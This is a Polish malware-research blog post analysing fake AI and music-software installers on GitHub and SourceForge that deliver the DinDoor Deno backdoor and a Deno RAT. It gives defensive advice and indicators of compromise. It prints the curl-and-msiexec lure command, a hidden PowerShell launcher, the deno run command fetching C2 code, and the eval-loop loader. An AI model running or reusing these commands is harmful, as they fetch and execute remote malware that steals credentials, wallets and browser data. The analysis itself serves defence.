Fałszywe oprogramowanie na platformach GitHub i SourceForge rozpowszechnia oprogramowanie szpiegowskie Deno RAT 

| 26 maja 2026 r.
Wilk w owczej skórze

Podczas naszych działań w poszukiwaniu zagrożeń znaleźliśmy fałszywe instalatory i wtyczki podszywające się pod popularne oprogramowanie, takie jak ChatGPT, Claude, AutoTune i Kontakt, w serwisach GitHub i SourceForge, rozpowszechniające backdoora Deno znanego jako DinDoor . Atakujący wykorzystują zhakowane YouTube kanały dystrybucji linków do tych platform. 

DinDoor ostatecznie rozprzestrzenia różne rodzaje złośliwego oprogramowania, w tym ukrytego trojana umożliwiającego zdalny dostęp (RAT), który również wykorzystuje środowisko uruchomieniowe Deno JavaScript.  

Atakujący coraz częściej wykorzystują alternatywne środowiska uruchomieniowe JavaScript, takie jak Bun i Deno, aby ominąć tradycyjne metody wykrywania. W jednym z naszych ostatnich śledztw udokumentowaliśmy, jak atakujący wykorzystują Bun jako początkowy wektor infekcji do dystrybucji NWHStealer. W marcu badacze ThreatDown zaobserwowali również, że atakujący używają Deno do dostarczania CastleLoadera poprzez wieloetapowy łańcuch infekcji z wykorzystaniem przynęty ClickFix.  

Kampanie te korzystają ze Scoop (alternatywnego instalatora dla Windows ) i WinGet (oficjalny Windows Menedżer pakietów) do zainstalowania Deno na komputerze ofiary. Następnie używają środowiska wykonawczego Deno do uruchomienia RAT-a, który może wykonywać dodatkowe ładunki, wykradając dane z przeglądarek, portfeli i innych aplikacji, co oferuje interesującą funkcję peer-to-peer, wykorzystującą Edge aby ukryć złośliwy ruch. 

Legalne platformy wykorzystywane do rozprzestrzeniania złośliwego oprogramowania

W większości analizowanych przypadków łańcuch infekcji jest zazwyczaj uruchamiany za pośrednictwem plików MSI lub skryptów PowerShell pobranych z GitHub lub SourceForge. Użytkownicy są zazwyczaj przekierowywani do tych złośliwych repozytoriów za pośrednictwem zainfekowanych YouTube kanałów. Łączna liczba wyświetleń tych filmów wynosi obecnie ponad 50 000. 

Skompromitowany YouTube kanały z filmami generowanymi przez sztuczną inteligencję 
Zagrożone kanały YouTube z filmami generowanymi przez sztuczną inteligencję 

Skompromitowany YouTube kanały tworzą posty promujące różne oprogramowanie i nieustannie przełączają się między kontami GitHub w celu rozpowszechniania złośliwego oprogramowania. 

YouTube posty zawierające linki do złośliwych repozytoriów GitHub
YouTube posty zawierające linki do złośliwych repozytoriów GitHub

Wydaje się, że to fałszywe oprogramowanie jest skierowane do twórców, entuzjastów sztucznej inteligencji, graczy oraz użytkowników o technicznych zainteresowaniach, którzy chętniej pobierają nieoficjalne narzędzia, pirackie oprogramowanie lub instalatory udostępniane przez społeczność z serwisów takich jak GitHub i SourceForge. Zauważyliśmy fałszywe pliki MSI i skrypty udające instalatory i wtyczki do legalnego oprogramowania i marek, takich jak ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune, Kontakt. 

Repozytorium GitHub zawierające fałszywy instalator ChatGPT
Repozytorium GitHub zawierające fałszywy instalator ChatGPT 

Złośliwe repozytoria mają polecenie dla obu Windows i macOS. Te repozytoria proszą użytkowników o otwarcie terminala i skopiowanie złośliwego polecenia, które pobiera i uruchamia plik MSI z GitHub. 

Fałszywa wtyczka, która prosi użytkownika o skopiowanie i wykonanie złośliwego polecenia 
Fałszywa wtyczka, która prosi użytkownika o skopiowanie i wykonanie złośliwego polecenia 

Złośliwe konta na GitHubie tworzą liczne repozytoria wypełnione fałszywym oprogramowaniem i wtyczkami powiązanymi z popularnymi programami, aby zwabić jak najwięcej użytkowników. 

Konto na GitHubie zawierające różne złośliwe repozytoria
Konto na GitHubie zawierające różne złośliwe repozytoria

Odkryliśmy, że ten sam backdoor był rozpowszechniany za pośrednictwem serwisu SourceForge, podszywając się pod legalne oprogramowanie do gier o nazwie GearUP oraz program do usuwania znaków wodnych oparty na sztucznej inteligencji o nazwie BWR. 

Złośliwe pliki MSI umieszczone na serwerach SourceForge

Jak zachować bezpieczeństwo  

Atakujący w dużym stopniu wykorzystali zaufanie użytkowników. GitHub i SourceForge to renomowane platformy, co sprawia, że fałszywe projekty wydają się bardziej przekonujące. Skontaktowaliśmy się z serwisem GitHub, który szybko usunął złośliwe repozytoria, jednak użytkownicy powinni liczyć się z tym, że będą pojawiać się nowe.

Oto kilka prostych sposobów na zachowanie bezpieczeństwa:  

  • Oprogramowanie pobieraj wyłącznie z oficjalnych stron internetowych producentów.  
  • Podchodź sceptycznie do „darmowych”, pirackich lub nieoficjalnych wersji płatnego oprogramowania. 
  • Zachowaj ostrożność przy pobieraniu plików z serwisów GitHub, SourceForge, forów lub serwisów do udostępniania plików, zwłaszcza z nowych lub nieznanych kont. 
  • Hakerzy wciąż tworzą nowe profile, aby rozpowszechniać to złośliwe oprogramowanie na różnych platformach. Przed pobraniem czegokolwiek sprawdź profil twórcy lub wydawcy, jego reputację oraz datę utworzenia. 
  • Sprawdź, czy zawartość archiwum, obrazy i pliki tekstowe odpowiadają temu, co zamierzałeś pobrać. Nazwy i struktura archiwów często odpowiadają znanym schematom stosowanym przez złośliwe oprogramowanie.  
  • Przed uruchomieniem pliku sprawdź wydawcę i podpis cyfrowy. Windows Zazwyczaj można to sprawdzić, klikając plik prawym przyciskiem myszy i wybierając Właściwości > Podpisy cyfrowe . Należy pamiętać, że prawidłowy podpis nie gwarantuje bezpieczeństwa pliku, ale brakujące lub podejrzane podpisy często stanowią sygnał ostrzegawczy. 

Analiza techniczna 

Złośliwe repozytoria na GitHubie proszą użytkownika o otwarcie okna wiersza poleceń i wykonanie złośliwego polecenia. Złośliwe polecenia pobierają plik MSI z serwisu GitHub i instalują go za pośrednictwem msiexec. Repozytoria te zawierają czasem również skrypty PowerShell służące do uruchamiania łańcucha infekcji w podobny sposób. 

Przykład złośliwego polecenia umieszczonego na GitHubie, które uruchamia łańcuch infekcji: 

curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi 

Instalator MSI umieszcza plik CMD oraz skrypt PowerShell w losowym katalogu określonym w pliku MSI InstallationFolder oraz wartości rejestru. Wykryliśmy różne struktury tych plików MSI – niektóre zawierały kod JavaScript zamiast pliku CMD, a inne miały wbudowane dodatkowe pliki.

Pliki „Ps1File” i „CmdFile” zawarte w pliku MSI typu dropper
Pliki „Ps1File” i „CmdFile” zawarte w pliku MSI typu dropper

Plik CMD uruchamia skrypt PowerShell, którego nazwa zmienia się w analizowanych łańcuchach infekcji: 

@set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden" 

Uruchomiony skrypt PowerShell
Uruchomiony skrypt PowerShell

Skrypt PowerShell zajmuje się: 

  • Upewnij się, że menedżer pakietów Scoop jest zainstalowany, a jeśli go brakuje, zainstaluj go za pomocą oficjalnego skryptu dostępnego pod adresem get.scoop.shScoop to popularny instalator oprogramowania wiersza poleceń i menedżer pakietów o otwartym kodzie źródłowym dla systemu Microsoft Windows . 
  • Instalowanie WinGet za pomocą Scoop ( Windows Menedżera pakietów), jeśli brakuje.  
  • Zainstaluje Deno (środowisko uruchomieniowe JavaScript/TypeScript) za pomocą WinGet lub Scoop, jeśli jeszcze go nie ma.

Wykorzystanie menedżerów pakietów Scoop i WinGet do instalowania dodatkowego oprogramowania na zainfekowanym komputerze stanowi interesujące rozwiązanie, które zapewnia atakującemu większą elastyczność. 

Polecenie wykonane w celu zainstalowania Deno za pomocą WinGet: 

"C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent

Tylne drzwi DinDoor 

Następnie uruchamiany jest plik wykonywalny Deno pobrany wcześniej: 

"C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js

Zwracany kod (o wewnętrznej nazwie „launcher-1”) to niewielka funkcja typu eval-loop, która pobiera kolejny etap (o wewnętrznej nazwie „launcher-2”). Pobrane oprogramowanie typu backdoor jest powszechnie znane podnazwą DinDoor. 

var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))}

Backdoor zapewnia trwałość, wysyła informacje o zainfekowanym systemie do serwera dowodzenia i kontroli (C2) oraz uruchamia dodatkowe ładunki i polecenia otrzymane od serwera C2. Punkty końcowe HTTP wykorzystywane do komunikacji z serwerem C2 różnią się w zależności od analizowanych przypadków.  

Tylne drzwi pobierają identyfikator z punktu końcowego HTTP (na przykład, /security-pool) a następnie wykorzystuje ten identyfikator do pobrania kolejnego etapu z /v2{ID}.js.   

Uzyskany etap jest realizowany poprzez stdin bez zapisywania na dysku, za pomocą polecenia: 

deno run -A --no-check –

Aby zapewnić sobie trwałość, backdoor uruchamia polecenie PowerShell w celu utworzenia klucza RUN, który uruchamia wykorzystywany wcześniej program pobierający „launcher-1”: 

conhost.exe --headless "<deno.exe>" -A "%APPDATA%\<hash>.js

W analizowanych przypadkach ten backdoor rozprzestrzenia kilka rodzin złośliwego oprogramowania. W tym wpisie na blogu analizujemy jeden z rozprzestrzenianych ładunków: narzędzie RAT wykorzystujące środowisko uruchomieniowe Deno JavaScript. 

Deno RAT 

Dostarczony program typu RAT, podobnie jak inne analizowane skrypty, wykorzystuje środowisko JavaScript Deno i dysponuje pełnym zestawem funkcji umożliwiających sterowanie urządzeniem, wykonywanie poleceń i ładunków oraz wykradanie różnego rodzaju danych za pośrednictwem wbudowanego modułu kradnącego dane.  

Nie znaleźliśmy konkretnej nazwy ani informacji o autorstwie tego RAT-a. W przeszłości RAT ten był określany jako „Smokest” na podstawie konkretnej wartości w pliku konfiguracyjnym. Podobny styl komentarzy oraz wspólna infrastruktura sugerują, że twórca DinDoor i twórca tego RAT-a mogą być tą samą osobą lub zespołem. 



Oprócz protokołu HTTP do komunikacji C2, RAT obsługuje również WebSocket komunikacja, włączana po ustawieniu wartości JSON isLiveEnabled wartość zwracana z funkcji C2 ma wartość true. 

Główna funkcja Deno RAT
Główna funkcja Deno RAT

Program RAT obsługuje różne polecenia (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) oraz funkcjonalność: 

  • Zbierz informacje systemowe dotyczące zainfekowanego urządzenia 
  • Pełna dwukierunkowa kontrola za pośrednictwem niestandardowej implementacji VNC wykorzystującej protokół WebSocket 
  • Obsługuje ponad 50 rozszerzeń portfeli kryptowalutowych oraz 10 folderów oprogramowania kryptowalutowego, takich jak Atomic Wallet, Exodus, Electrum i ByteCoin
  • Zbieraj dane z przeglądarek, w tym Chrome , Chromium, Brave, Edge Przeglądarka Avast Edge , Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser i Chromodo 
  • Wyciągnij dane z serwisów Telegram, Discord i Lightcord 
  • Zapisywanie i modyfikowanie danych ze schowka  
  • Wyświetl listę folderów i plików oraz wyodrębnij zawartość plików o określonych rozszerzeniach  
  • Rób zrzuty ekranu na różne sposoby  
  • Wykonaj dodatkowe zadania  
  • Uruchamianie lub zamykanie dowolnych procesów  
  • Wykonywanie poleceń za pomocą programu PowerShell  
  • Ustanawianie tuneli proxy SOCKS5 za pośrednictwem WebSocket 

Jedną z najciekawszych części RAT jest tryb strumieniowania peer-to-peer , który wykorzystuje Edge przeglądarka ukrywająca ruch i utrudniająca jego wykrycie.

Aby przesyłać strumieniowo wideo na żywo bezpośrednio do operatora bez przesyłania go przez serwer C2, RAT tworzy ukryty serwer Microsoft Edge proces i łączy się z nim za pośrednictwem Chrome Protokół DevTools (CDP). Następnie wstrzykuje małą stronę HTML WebRTC do Edge , zmieniając legalną przeglądarkę w przekaźnik wideo peer-to-peer. Agent Deno przechwytuje i koduje ekran ofiary w standardzie H.264, a następnie przekazuje klatki do Edge strona przez CDP i Edge przesyła je bezpośrednio do przeglądarki operatora za pośrednictwem szyfrowanego kanału danych WebRTC. Sygnalizacja SDP i ICE, niezbędna do nawiązania bezpośredniego połączenia, jest wymieniana przez istniejący protokół C2 WebSocket. 

Wstrzyknięta strona HTML w środku Edge przeglądarka
Wstrzyknięta strona HTML w przeglądarce Edge 

Program RAT wykorzystuje następujące punkty końcowe do komunikacji C2, które mogą się różnić w poszczególnych wersjach: 

  • /health: sprawdza, czy z serwera C2 otrzymano odpowiedź „ok” 
  • /token: odbieranie parametrów konfiguracyjnych, przekazywanie zadań, wyniki oraz wyeksportowane dane 
  • /vnc/agent/: Ścieżka WebSocket używana do komunikacji VNC 

Dane konfiguracyjne są zakodowane w formacie Base64 i przesyłane podczas komunikacji z serwerem C2 jako token autoryzacyjny. Odkodowane dane konfiguracyjne: 

{ 

  "buildId": "cd361ef3159f5ce9", 

  "buildNote": "BWR", 

  "buildType": "msi-v2", 

  "proxyUrls": ["{C2}"], 

  "userId": "…", 

  "accessTokenHash": "…", 

  "iat": 1779372546, 

  "exp": 2094948546 

}

Znaleźliśmy różne wersje tego RAT-a, w tym wersję „light” o nazwie „agent-lite”, która obsługuje tylko kilka poleceń i wykorzystuje Cloudflare Workers do komunikacji C2. 

„Lekka” wersja RAT
„Lekka” wersja RAT

 

Podziękowania 

Wskaźniki kompromisu (IOC) 

adresy URL 

  • https[:]//github.com/claude-free-plugin/
  • https[:]//github.com/ai-gen-profi 
  • https[:]//github.com/wharfdemolisherpit 
  • https[:]//sourceforge.net/projects/gearup/ 
  • https[:]//sourceforge.net/projects/bluewaveremover/

Domeny 

  • claudescript[.]top: strona internetowa poświęcona dystrybucji 
  • ms-telemetry-gateway-us[.]com: C2 
  • dakatawebstick[.]com: C2 
  • ashpaltlonpro[.]com: C2 
  • cf-proxy[.]cloud-analytics-services[.]workers.dev: C2 
  • agilemast3r[.]duckdns[.]org: C2 
  • geralnewlong[.]com: C2 
  • hngfbgfbfb[.]cyou: C2 
  • logicalnewrestore[.]com: C2

adresy IP 

  • 23[.]227[.]196[.]107: C2 
  • 45[.]137[.]99[.]121: C2 
  • 31[.]57[.]129[.]23: C2 
  • 66[.]78[.]40[.]107: C2 
  • 193[.]233[.]198[.]132: C2

Od zgłaszania zagrożeń po ich usuwanie.

Zagrożenia cyberbezpieczeństwa nigdy nie powinny wykraczać poza nagłówki. Chroń swoje urządzenia przed zagrożeniami, pobierając Malwarebytes już dziś .

O autorze

Gabriele jest inżynierem ds. badań nad złośliwym oprogramowaniem, który uwielbia walkę z tym zagrożeniem. Kiedy nie zajmuje się tym, można go spotkać, jak cieszy się przyrodą, sztuką i zwierzętami.